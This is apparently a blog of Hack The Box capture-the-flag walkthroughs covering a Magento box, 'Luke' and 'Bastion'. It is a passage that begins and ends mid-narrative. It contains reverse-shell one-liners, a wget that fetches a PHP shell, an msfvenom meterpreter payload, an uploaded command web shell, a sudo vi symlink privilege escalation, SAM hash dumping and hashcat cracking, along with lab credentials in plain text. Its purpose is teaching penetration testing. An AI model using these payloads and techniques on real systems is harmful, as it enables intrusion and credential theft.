The script has come back and said it has worked. You’ll notice the URL is wrong though. Let’s give it a go anyway.

First over to /index.php/admin

We are in! Huzzah!

I wonder if the new account works on the downloader page too.

We are! So we now have 2 main areas to look around in.

The downloader immediately pops out with a Direct package file upload. Could it be as easy as putting up a php reverse shell? We take the reverse shell script from pentestmonkey and change our IP address.

Get a listener set up on the port

nc -nvlp 9006

Uploading the .php file.

This result was not unexpected but it’s always worth a try.

So, lets do some googling, is there any file inclusion or other exploits we have access now we are an admin user. After not too long we find this exploit:

This tells us that the mass importer allows uploads of PHP files without any sanity checks. This seems good. All we need to go is zip the file (so it looks like a legit plugin) and run the script to extract the payload. Then we can visit the site via magmi/plugings and our plugin should be there.

Before we do it, let’s make sure magmi and plugins exist. Heading to:

All bring back 404 errors. So I’m not sure if this is an extension we can use and due to it being on a VPN, we can’t use our admin creds to install additional plugins.

However, we did find this exploit earlier. The caveat was we needed admin credentials, which we do now have!

Another interesting thing to note, is this box goes down so often. It looks to get put into some sort of maintance mode all the frikkin time, looking at the connect manager there is a default ticked button at the top:

So this would be another clue that we need to do a direct package file upload, so we need to follow the exploit above.

First up, what do we want in our zip file? Ideally a php reverse shell script.

Then we also need an xml file, which magento will read. So let’s get those sorted. First, for the xml file, let’s try using the most basic one available. Let’s try hello world!

nano helloworld.xml

Paste in:

<?xml version="1.0" encoding="UTF-8"?>
  <para>hello world</para>

Save and exit. We then need our php-reverse shell, which we got earlier from pentestmonkey. We then need to zip the files together

zip helloworld.xml yekki.php

We now have a zip file. Let’s untick the box above, so others can still use the box. Then upload our zip and see what happens.

Again, we got the same error as above. Time to change tack.

Looking again through the Admin Panel, I notice under CMS there is a Manage Page option. I wonder if we can just make a new page.

There is an option “Add New Page”. Let’s add this called yekki.php

Under the Page Info, we add the Title of Yekki and URL key of yekki.php

In the content, we copy in the php reverse shell code. Changing the ip address and port to match our system and nc listener.

Under Design, we change everything to basic and try to keep it all as simple as possible. Click Save and Continue Exit.

Let’s see if we can see the page. Heading over to:

The page is there, but the reverse shell doesn’t start. Instead the page loads, sad times!

I was really hoping by uploading and going there, it would work. Never mind! Let’s keep digging!

After a bit more googling, I find this github:

This can convert our php file into the connect upload format. So let’s try this out with our php reverse shell file.

Running this with my php file, got me a shell. It was however local, before I went near the application. I’m not too sure this is the way forward.

I had a bit of a break and then came back and found some god-awful youtube video’s. You know the ones, typing on a terminal and terrible background music. Well this one:

Interestingly had a link to the filesystem extension. I’d seen this in my travels, but assumed as I didn’t have web access, couldn’t get the extension.

So I downloaded it, off I went to /downloader to upload the new extension.

After I click upload, I get an error:

CONNECT ERROR: Unsupported resource type

Bugger. A quick check shows that it has not appeared where it should have.

——–The Next Day——–

So this had bugged me for a day, so I went back on the research and found a full download:

I had to register, so used a temporary e-mail from

Downloading the Filesystem tgz file was easy. Heading over to the /downloader/ admin portal, we untick the box at the top so we don’t put the box into maintenance mode and select the file to upload.

Clicking Upload takes me to the box at the bottom, some green text which again states

CONNECT ERROR: Package file is invalid
Invalid version, should be like: x.x.x
Invalid stability
Invalid channel URL
Empty authors section
Empty package contents section

Excellent, well that’s a bundle of joy isn’t it!

Let’s instead head back to our favourite search engine and see if there are any other extensions we can add on. A bit more searching and we come across another github page:

A quick and dirty php shell, I’d be happy for that to work. Let’s have a go!

Heading over to /downloader/ and logging in with our new creds, let’s try the upload. The green box of doom, this time:

Looks like a success! So the readme then says we need to navigate to: /index.php/lavalamp/index

The page loads! It’s empty, but it loads! I take that as a win as the shell must have uploaded otherwise we would have got a 404! Let’s look into the code and see what it’s doing, do we need a listener on a port or is this meant to be an interactive shell.

The instructions say: “The shell is a simple command shell that will take $_POST[‘c’], pass it to shell_exec, and echo back the contents.”

So where would we put in that POST, maybe as a request in Burp? Let’s try that as a post request.

In Burp, we intercept the request and send it over to repeater. Changing the request to a POST request, at the bottom we try:


Success!! We are running as www-data!

So let’s head over to and get a reverse shell 1 liner.

bash -i >& /dev/tcp/ 0>&1

Also set up a listner

nc -nvlp 9005

And… the site loads and we do not get a reverse shell. So maybe it’s not a bash shell. Is there an easy way to find out? We can’t cat /etc/passwd which would be my normal route, as cat doesn’t appear to work.

As it’s done via php, maybe we need a php reverse shell 1 liner, rather than bash.

/usr/local/bin/wget -O /var/tmp/shell.php 2>&1

Let’s try this and we will host our normal php reverse shell using python simpleHTTPServer

No good sadly.

Let’s keep trying, as we need a reverse shell here

/bin/sh | nc 9005

Still no good, however the issue I have been having, is I had single quotes around each expression, which was breaking things. So a quick look without those and we have cat back.

cat /home/haris/user.txt


I’m suprised that www-data who is the user we are on has access to read that file, but I don’t mind. That’s a win!

So, now we have a bit more confidence, let’s try and get a reverse shell or a password for ssh!

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Again, not working.

Having a poke around instead we look at /etc/, sudoers is a file there and it looks like we might have sudo on vi:

So let’s try

sudo vi /root/root.txt

Nothing comes back. Same with sudo vim /root/root.txt

I guess because vi is an interactive editor, it’s not something that would come back via the command line. Again, I feel we need a reverse shell or to be able to log in via ssh.

Let’s change tactic and see if we can find a password for the account, then we would be able to ssh in which would make life a lot easier.  Trying a search for password

c=grep -iR password .

Gives us a load of results, the one that look most interesting are:

./install.php: * --admin_username admin --admin_password 123123 \
./install.php: * --db_pass // required, Database User Password
./install.php: * --admin_password // required, admin user password
./lib/PEAR/Net/URL.php: * Password
./lib/PEAR/Net/URL.php: var $password;

So let’s take a look at the install script and see if there is a hardcoded password.

All we have is this:

* –admin_lastname Owner –admin_firstname Store –admin_email “” \
* –admin_username admin –admin_password 123123 \

This is commented out and a password of 123123 doesn’t seem likely as that would be very easy to brute which I don’t think would be the way for a CTF.

So, I went back and spent some more time trying to get a shell, I thought i’d try using metasploit, so I created a elf payload:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=9002 -f elf > shell.elf

I put this up onto my webserver

python -m SimpleHTTPServer 9001

Downloaded it onto the box, via my command execuation in burp


Started a metasploit listener

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

Set up the options for host and port. Ran the exploit on the box and boom, we have a reverse shell! That took way longer than it should have and I can’t explain why my normal bash shells kept dying straight away, but anyway, onwards and upwards. Let’s go root flag hunting!

Having a hunt around, we find the SQL database password found in:



Let’s see if there is an SSH password in the SQL database. We get an access denied when trying to access the SQL database.

I’ve now run and I know that we have sudo abilities on /usr/bin/vi so let’s re-run through the basics:

sudo /usr/bin/vi /root/root.txt

We run into an error:

sudo: no tty present and no askpass program specified

So a bit of googling mostly tells us to change the sudoers file, unfortunately we can’t do that as only have read and execute on the file.

I think this is due to the fact we are in a rubbish restricted shell, we have earlier tried out python method to upgrade our shell, that didn’t work but let’s try it with python3:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Hooray, we now have  bash shell. Let’s try this again

sudo vi /root/root.txt

We get prompted for a password, odd.

So let’s go back to what the sudoers file actually says:

www-data ALL=NOPASSWD:/usr/bin/vi /var/www/html/*

Does this meant that we can only use sudo vi for files that are within the /var/www/html directory?

Let’s try, first we need to create a symbolic link (we have done this before on some previous boxes)

ln -s /root/root.txt hello.txt

Our symbolic link is created:

Now we can try again

sudo /usr/bin/vi /var/www/html/hello.txt

Success! We get the root flag, and the details to go to the shop! Excellent!


This was a very annoying box, with the website going down constantly and I had to upgrade to VIP. If I hadn’t of done that, I would have given up a fair while ago!

From there, the magento add-ons were frustrating to try and find but I am happy that I understood the exploit and how to do the RCE through Burp. Then I have also learnt a new skill about sudo and limiting that down to only certain folders, I can see that being really useful for the future!!

Now, to go and buy some swag!!


Hack The Box – Luke

Here we go again, this time we are looking at Luke. What do we know before we begin? Very little, apart from it’s a FreeBSD box on the IP

So let’s start the same way as always!

nmap -sC -sV -O -oA nmap/Luke

We get a few ports that show as open:

Nmap 7.70 scan initiated Sun Jun 23 14:22:36 2019 as: nmap -sC -sV -O -oA nmap/luke
Nmap scan report for
Host is up (0.087s latency).
Not shown: 995 closed ports
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp
| ftp-syst:
| FTP server status:
| Connected to
| Logged in as ftp
| No session upload bandwidth limit
| No session download bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http Ajenti http control panel
|_http-title: Ajenti
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops

OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Sun Jun 23 14:25:51 2019 -- 1 IP address (1 host up) scanned in 195.57 seconds


So we have 5 ports open, 3 of which are webservers and one which allows Anonymous FTP!

I know where I’m going to start! Let’s start by setting 3 dirbs running in the background while we investigate the FTP server.

dirb -w /usr/share/dirb/wordlists/common.txt > dirb/port80.txt

dirb -w /usr/share/dirb/wordlists/common.txt > dirb/port3000.txt

dirb -w /usr/share/dirb/wordlists/common.txt > dirb/port8000.txt

While they are running, let’s take a look at the FTP server. Nmap has already told us we can log in anonymously, so let’s give it a go

ftp 21

We get prompted for a password, entering anything gives us access.

We can see there is 1 folder called webapp. Within there is a file called for_Chihiro.txt

Let’s get that back to our box

get for_Chihiro.txt

We now have this on our box. Cat’ing the file shows it contains a message:

Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of 
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !


Now, what the fuck does that mean?! I’m guessing maybe we need to look at the source of each of the websites on each of the 3 webservers!

Shall we start with the old fashioned port 80.

Heading over to the website we get a very basic website, with some text and 3 links which take you to further down the page. From looking at the source we do know that there is a lot of javascript on the website.

Unfortunately I know absolutely nothing about javascript or how to exploit it. Let’s see if our dirb came back with any results for this webserver.

It came back with a few pages and directories








Management, LICENSE and index look quite interesting, lets have a look.

First up, management. We get a pop up!

If we can find some creds, I know where I’m coming back to.

LICENSE shows the MIT License, I think this is for the bootstrap JS stuff we saw earlier.

Index is the main page that we see, which I don’t think has much on.

In terms of folders, member is empty, css is just the display schemes, vendor has a list of all the javascript used:




It looks like the jQuery is v3.3.1, jQuery Easing is v1.4.1 and Bootstrap is v4.2.1.

We may come back to these for exploits or at least more googling and the version numbers are bound to be useful.

The final folder, is /js/ This just looks to contain the scrolling-nav, which the hotlinks use to scroll down the page.

As I have no idea what we could even do here, let’s go look at the other ports.

Port 3000 appears to just have some JSON on it

This looks a lot like what we found on Port 3000. We quickly ran away then but maybe another viewing of ippsecs video will give us a hint.

However, the dirb that I ran did find 3 directories:




Let’s go check them out.

Both Login and login give a JSON message, it’s the same on both and simply says:

"please auth"

Users has a slightly different answer:

success false
message  "Auth token is not supplied"

It’s not much better!

Let’s skip over these for now and head over to port 8000. Aha, slightly more interesting:

It’s a login prompt. So we have 3 areas that require auth:

Now, just to find some creds I guess!

The directory wordlist that I used was a different one to normal, so I’m going to try using dirbuster which isn’t my favourite to look at but gives good results with my normal wordlist:


Let’s see if there is anything extra we get.

We get an additional hit on port 80 which I’m not sure how we missed first time around:


This gives us some db information:
$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg'; $db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);

So we have a username and password, potentially. Let’s go see if it works on the logins!

So trying that password with:




Unfortunately none of these worked with that password.

I have also gone back to basics and looked at the default password for Ajenti which is:


This also doesn’t work, but would indicate it could be where the root password goes.  Looking at searchsploit for Ajenti we have 1 hit:

It’s cross-site scripting. Not too sure how useful that will be here.

I think maybe we need to go back to the javascript on the main webserver and have a look at what we have.

The one thing that keeps bugging me is port 3000 and the message please auth or auth token is not supplied for users.

Maybe we can use the password as an auth token? Event getting a list of users at this point would be good.

Thinking about the list of users, there is the directory /users/ we tried that earlier and got a please auth message. What if we try some user names after that so /users/chihiro

We get:

Whereas if we try derry we get:

What this means, is we get a different result for a real user, therefore we can enumerate usernames.

So let’s put that request through burp and send it over to intruder. Dirb has a good name list which is available at /usr/share/wordlists/dirb/others/names.txt

So in Intruder, we set the position around derry

We load in the wordlist under Payload (Simple List) and add in a few others including derry, luke and admin. Then within the options we add under Grep Match

Hit start attack and let’s watch the results come pouring in! After we hit start attack we filter out any 404 errors!

I have just realised that doing a match isn’t the best, as what if there is a website that loads straight away, we won’t see if as it doesn’t match our expected outcome.

So re-running the test without that grep. Anything that doesn’t load will still come back as a 404 so we can filter those out.

While that was running, a colleague had mentioned trying curl (not sure if he knows something I don’t, has read something or is just also clutching at straws), so I looked at some curl commands to see if we could get any more clues.


{"success":false,"message":"Auth token is not supplied"}

Hmm ok, how about /login

"please auth"

So, let’s try and add authentication, we have a username and password

curl --user root:Zk6heYCyv6ZE9Xcg

Another “please auth”, so wrong user or password or syntax/format. Let’s try some other users.

curl --user admin:Zk6heYCyv6ZE9Xcg
curl --user Admin:Zk6heYCyv6ZE9Xcg
curl --user superadmin:Zk6heYCyv6ZE9Xcg
curl --user SuperAdmin:Zk6heYCyv6ZE9Xcg
curl --user administrator:Zk6heYCyv6ZE9Xcg
curl --user Administrator:Zk6heYCyv6ZE9Xcg
curl --user derry:Zk6heYCyv6ZE9Xcg
curl --user Derry:Zk6heYCyv6ZE9Xcg

All the exact same result:

I guess we wait for the Burp Intruder to finish and see if we have any other usernames we can try out.

After what can only be described as …..ages….. I remembered that intruder is very slow on burp community edition. However, we are enumerating directories, why don’t we go back to dirbuster for this!

So, running dirbuster, much quicker we get a list of users which exist:

That runs super quickly and we have another couple of usernames:




So, we can now try logging into each auth prompt with these 2 additional usernames. None of the 3 direct auth prompts work for either username with the password found from the config.php file.

Heading to /users/<name> still gives the “Auth token is not supplied”

This is, frustrating to say the least!

Doing some research and finding some pretty diagrams to explain JWTs it look slike we need to authenticate to /login with a username and password, then the server will create a JWT which we can then use the get to all the other subdirectories.

So the big question is how do we authenticate using /login which doesn’t have any sort of GUI. We will need to do this by putting the requests directly in a POST request, however we don’t know the field names for username and password, we don’t know which user to use or even if the password is correct.

That’s far too many variables for my liking!

With this new knowledge, I did some more googling on authenticating to express JS, I revisitied the idea of CURL that we did earlier and read through this article:

This showed:

client $ curl -X POST  http://localhost:3000/login -c cookie-file.txt -H 'Content-Type: application/json' -d '{"email":"", "password":"password"}'You were authenticated & logged in!

So, I knew that we didn’t have an e-mail, but maybe it was username, so I tried that. I figured at this stage, we needed this to be admin but I was ready to do a lot of manual trying through all the usernames if that didn’t work.

My final request was:

curl -X POST -c cookie-file.txt -H 'Content-Type: application/json' -d '{"username":"admin", "password":"Zk6heYCyv6ZE9Xcg"}'

This resulted in:

{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxODg2NDQzLCJleHAiOjE1NjE5NzI4NDN9.-I_yLS8xOvod3dCyGeKqdmUrClsfXW7ESf_GaZF540E"}

We now have a token!

Next step, how to use that!

Firstly, I was interested to see what the token was made up of, so I went over to which decodes JWT tokens, the results showed:











So the username is admin, it has a code and an expiry date (I assume), it doesn’t really help us but it’s interesting to know what’s there.

Looking at a JWT for beginners page here:

It mentions:

“Whenever the user wants to access a protected route or resource, the user agent should send the JWT, typically in the Authorization header using the Bearer schema. The content of the header should look like the following:

Authorization: Bearer <token>"

Therefore, we are going to include that in Burp and see what we get.

We forward the request and get:

We get Dory’s username and password!

So, going through all the users we have found, we get a list of usernames and passwords.

Now that we have these, let’s head over to our login pages and see which works where.

First up, port 8000 for ajenti log in.

Unfortunately all 4 sets of creds still give us auth failure.

Let’s head over to port 80 /management and /login and see what we have,

Within management, the credentials for Derry worked and we get:

First up is config.json which has 1 very interesting line in it:

ajenti.plugins.munin.client.MuninClient "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}"

So we will check that out.

Config.php is the document we found earlier with the mysql creds.

Login.php takes us to the login page that we found earlier.

So let’s go take a look at port 8080/munin. Unexpectedly that doesn’t exist, if it did our port scan earlier would have caught it. Nothing works on the main login page either.

So somewhere, we have missed something.

Let’s look at our progress here. We found config.php on port 80, which gave us the creds to get the JWT token on port 3000. Then from there, we got the creds for Derry that let us get into management on port 80. From there it appears to be a deadend. I think we need to re-look at that, we must have missed something.

The full config.json might be where to go back to:

"users": {
"root": {
"configs": {
"ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}", 
"ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}", 
"ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}", 
"ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}", 
"ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}", 
"ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}", 
"ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}", 
"ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}", 
"ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}", 
"": "{\"root\": \"/\"}", 
"ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}", 
"ajenti.users.UserManager": "{\"sync-provider\": \"\"}", 
"ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}", 
"ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}", 
"ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
"password": "KpMasng6S5EtTy9Z", 
"permissions": []
"language": "", 
"bind": {
"host": "", 
"port": 8000
"enable_feedback": true, 
"ssl": {
"enable": false, 
"certificate_path": ""
"authentication": true, 
"installation_id": 12354

So what I missed before, was the other password of KpMasng6S5EtTy9Z. This doesn’t appear to have a username attached with it, but maybe we can try some obvious ones, like root, admin etc.

Root did the trick! We are into the interface!

You may notice what I did straight away. There is a tool called “Terminal” let’s try that first!

It works! We have a terminal on the box, a very quick look around and boom, we have the user flag!

Amazing, we got the user flag!

Also what you might notice, is that cheeky whoami told me that we are root. It can’t be that easy can it?

Oh. It was that easy.

Well, that was Luke! I feel we learnt a lot about JWT creation. How to authenticate with it and bit of a hunt for creds and reminding ourselves that good enumeration is key!

There could definitely have been some priv esc, but I wonder if it’s because it’s FreeBSD and people aren’t too familiar with it? Anyway, a fun box and learnt a heap! Good times!

Hack The Box – Bastion

Let’s have a crack at Bastion. It’s been released for 2 days, so far the User is seen as “Easy” with root being “Easy”/”Not too Easy”

So things we know straight up. It’s a Windows box with the IP of

First thing first, lets run an nmap scan on it:

nmap -sC -sV -O -oA nmap/bastion

The results are in, we have 4 ports open:

  • 22 – SSH
  • 134 – MSRPC
  • 139 – netbois-ssn
  • 445 – microsoft-ds

The host scrips brings back some potentially interesting results:

Host script results: 
|_clock-skew: mean: -39m58s, deviation: 1h09m14s, median: 0s
| smb-os-discovery: 
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) 
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00 
| Workgroup: WORKGROUP\x00 
|_ System time: 2019-04-29T19:00:50+02:00 
| smb-security-mode: 
| account_used: guest 
| authentication_level: user 
| challenge_response: supported 
|_ message_signing: disabled (dangerous, but default) 
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled but not required 
| smb2-time: 
| date: 2019-04-29 18:00:49
|_ start_date: 2019-04-29 17:50:00

I’d say the ports 139/445 (SMB) are where we really need to look at first.

We have done this is on some previous boxes, but before we first digging. Let’s do a full port scan, there might be stuff hiding on high ports? Let’s run this in very verbose mode so any results come up straight away:

nmap -sC -p- -vvv -oA nmap/bastion-all-ports

We will also run an additional UDP scan to see if there is anything hiding there:

nmap -sU -O -oA nmap/Bastion-UDP

Well, I’m glad I did the full port scan, look at these results:

5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127

So, lets look closer at those ports.

nmap -sC -sV -O -p 5985,47001,49664,49665,49666,49667,49668,49669,49670 -oA nmap/Bastion-HighPorts

I probably didn’t need the -O as we already know the OS version from earlier, being Windows 2016 Standard.

The results are in:

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC

2 ports with HTTPAPI on. I’m not entirely sure what they are. A quick google lets me know that:

SSDP is Simple Service Discovery Protocol which advertises and looks for network services. This controls communication for the Universal Plug and Play feature (uPnP).

This now rings a bell, was there not the printer and chromecast thing supporting pewdiepie. Looks pretty similar:

So, this might well be our way in. A quick searchsploit shows a few vulnerabilities for UPnP:

So there are a few Buffer Overflows for Windows, but these are 98/XP/ME and we know that our target is running Windows Server 2016, so no dice there.

A quick check that there isn’t a webpage associated with the ports, reveals both get a 404 error, so that’s no good!

Right. The question is, what do we have and where do we go from here.

My first though, before the full port scan was looking at the SMB share to see if there is anything there. Let’s give that a go.

So let’s fire up smbclient and see what we can find, first let’s try and use an anonymous user to get the shares:

smbclient -L -U anonymous


We have success! We know the sharenames. Let’s see if we can connect into any of them. Our command for that is:

smbclient //$ -U anonymous

smbclient //$ -U anonymous

Both Permission Denied.

smbclient // -U anonymous

Hooray! We are logged into the backups folder as an anonymous user.

A quick look around, we have a note.txt and an nmap-test-file, a couple of directories, but these are empty.  There is also a .tmp file.

So we use the “get” command to bring those back to our machine.

get nmap-test-file

get note.txt

So these are now locally on our host. Stupidly, I did this while in the /tools/enum4linux directory, so that is where they saved. I found them using:

find note.txt . | grep note.txt

Moved them back into the right directory.

Looking at the note.txt file first:

Interesting, so they use a VPN and there is some sort of backup. There is the folder WindowsImageBackup, let’s grab that.

The other file is empty.

Let’s see what really is in here, entering the recurse in the smb window lets us list all files, going through folders.

So there are a whole bunch of .xml files. Let’s see if we can grab all of those. Because of dash in the PC name, I can’t seem to recursively download everything, so I’ll have to do it file by file.

The XML files look to be configs, probably for the backup software. The .vhd files are the actual backups on the file structure.

Now, I think this is where the note comes in. It states don’t transfer the entire back up locally as the VPN issue. This isn’t them using a VPN, this is a message to us, the HTB VPN can’t cope with that sort of traffic. As a check we give it a go and we get a timeout. Not unexpected!

So, we either need to host it somewhere (a webserver) or mount and read it on the host pc.

So, this is now the tricky part. We know what we need. Those backups. The question is how do we get them? We have high ports open, let’s go back to the fact that both port 5985 and 47001 are httpapi ports. This now seems sensible to be our exfil point!

At this point, I had a quick look at the forum and it appears mounting it via the SMBshare is a better method. So let’s explore that.

So there are 2 commands in Windows to mount a VHD.

Via CMD:

select vdisk file="\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd"

or Via Powershell:

Mount-VHD -Path "\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd"

Quite reasonably, neither of these work over smbclient. As we are using SMB shares, I might be able to mount them in windows? Let’s spin up a Windows 10 VM and see if that helps! (My host machine is Windows 10, but I really don’t want to connect into HTB on my host machine!)

Ok, a windows10 VM is spun up. VPN connected and look here, we have the SMB share:

So, using the powershell we learnt earlier. Let’s try this out!

Not a great start, this is due to hyper-v and that fact I’m on VMware.

Can we use the built in “mount” function? After a lot of back and forth, I found out you can’t if you map the drive (to z:\ for example). So I try without the UNC path \\\Backups\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351

Click Mount and….

Sigh! So that would probably work, if it wasn’t a heavily used platform!

So let’s go back to Linux. The first thing we need to work out, is how to mount the SMB share, so that we can navigate to it. After some googling I managed to find this blog: which helped me out.

Firstly, we created a folder for the share to be connected to on our Linux box:

mkdir Share

Also downloaded and installed the cifs toolset which allows for this connection:

apt-get install cifs-utils

The next part is running the command:

mount -t cifs // /home/Yekki/Documents/htb/Bastion/Share/ -o dom=DOMAIN,user=anonymous,pass=Hello

A quick look in the share and doesn’t this look familiar:

So we can now go through and the VHD files are there.

Now we just need to work out how to mount the VHD so we can also explore that.

There is a set of tools called libvhdi which I found in this video:

Once the tools are installed, we can try the commands:

vhdimount 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd /home/Yekki/Documents/htb/Bastion/Mount/

The command worked. But the permissions on the mount are very odd:

If we sudo su up to root. We are able to go into the Mount file, and we see vhdi1 as a file. We can’t directly interact with this file yet, as it hasn’t been mounted on our system.

To be able to mount and use this file, we need to calculate the offset of the mount.

First we need tp look at the partition data of the file, using:

mmls -aB vhdi1

This gives us a result of:

So the units are in 512-byte sectors.

To do the calculation we need to obtain the bc package which is a arbitrary precision calculator language.

apt-get install bc

We can then use this which is the last digits in the Start column, so for our case it’s 128. Then also using the units which we saw earlier is in 512-byte sectors.

echo 128*512 | bc

This results in 65536. This is the offset level for where the data starts.

The follow command should mount the vhd file for us to be able to explore:

mount -o ro,noload,offset=65536 vhdi1 /home/Yekki/Documents/htb/Bastion/Mount/

After waiting for a verrrry long time….

We can see that the directory is now searchable!

Lets have a look around and see if we can find a user flag.

So if this is a backup, the flag should be in Users/L4mpje

Nope. Nothing in there.

Let’s go a grep on the entire Mount to see if there is anything there:

grep -iR user.txt .

No flag. There is another step to this!

So if we remember our nmap scan from earlier, port 22 is open. So I wonder if there is an SSH password we need to get.

Windows stores it’s NTLM hashes under something called SAM the Security Account Manager. This tends to be located in Windows/System32/config

Normally you can’t open or copy this file, as it is always being used by System. However as this is a backup, not a live system. We might get lucky. So let’s head over there:

cd /Windows/System32/config

Ah there is a SAM, SECURITY and SYSTEM file. We will need all of these. I copied these across to my host machine, that way if the box gets reset is doesn’t affect the next stages.

To get anything useful from these, we need to dump it out.

There is an excellent set of tools called impacket available from here:

Within that set of tools they have which is what we will use. Installing impacket is easy, clone to repository then when in the folder run:

pip install .

The python script is then under impacket/examples/

Running the script with the 3 variables:

./ -sam /home/Yekki/Documents/htb/Bastion/SAM -security /home/Yekki/Documents/htb/Bastion/SECURITY -system /home/Yekki/Documents/htb/Bastion/SYSTEM local

Give us this result:

We have the hash. Let’s run this through hashcat which has a built in NTLM hash option.

Firstly, we take out the part of the hash that we need, which is after the 3rd colon. Starting with 2611 for the L4mpje user. This is due to the the format of the NTLM hash. We have:


User:relative identifier:    LM Hash:                                        NT Hash:

Hashcat requires just the NT hash. So we copy that into a new text file.

echo "26112010952d963c8dc4217daec986d9" > L4mpje-hash.txt

Looking at hashcat, NTLM hashes are hash mode 1000 ( We want to set the attack mode as 0 (straight) and output the file.

hashcat -m 1000 -a 0 -o password.txt L4mpje-hash.txt /usr/share/wordlists/rockyou.txt --force

We had to use the –force option as I’m doing this cracking in a VM rather than with dedicated graphics cards.

If we cat the output file we get:

There is the password. You will notice that Impacket also output the password, but I wanted to go through hashcat just to double check (and learn).

So now I guess we can use this to ssh into the box.

Success. Now, as this is the live box, we can go have another look at the User share and see if there is a flag this time.

There it is! Now just to remember how to read a file from cmd.


Now, let’s head onto root and see what we can do!

Having an initial look around the system, there are a couple of programs we can investigate. In Program Files:

We have PackageManagement which is a set of cmdlets from Windows. Seems unlikely to be our route in. The other is OpenSSH but this will be to allow our SSH session onto the box.

Heading over the Program Files (x86) we get:

I’m not sure what mRemoteNG is, but looks like it could be interesting. A quick google tells me that it’s a remote connections manager allowing for a range of different connections. A quick searchsploit brings up nothing but a google search brings back some results:

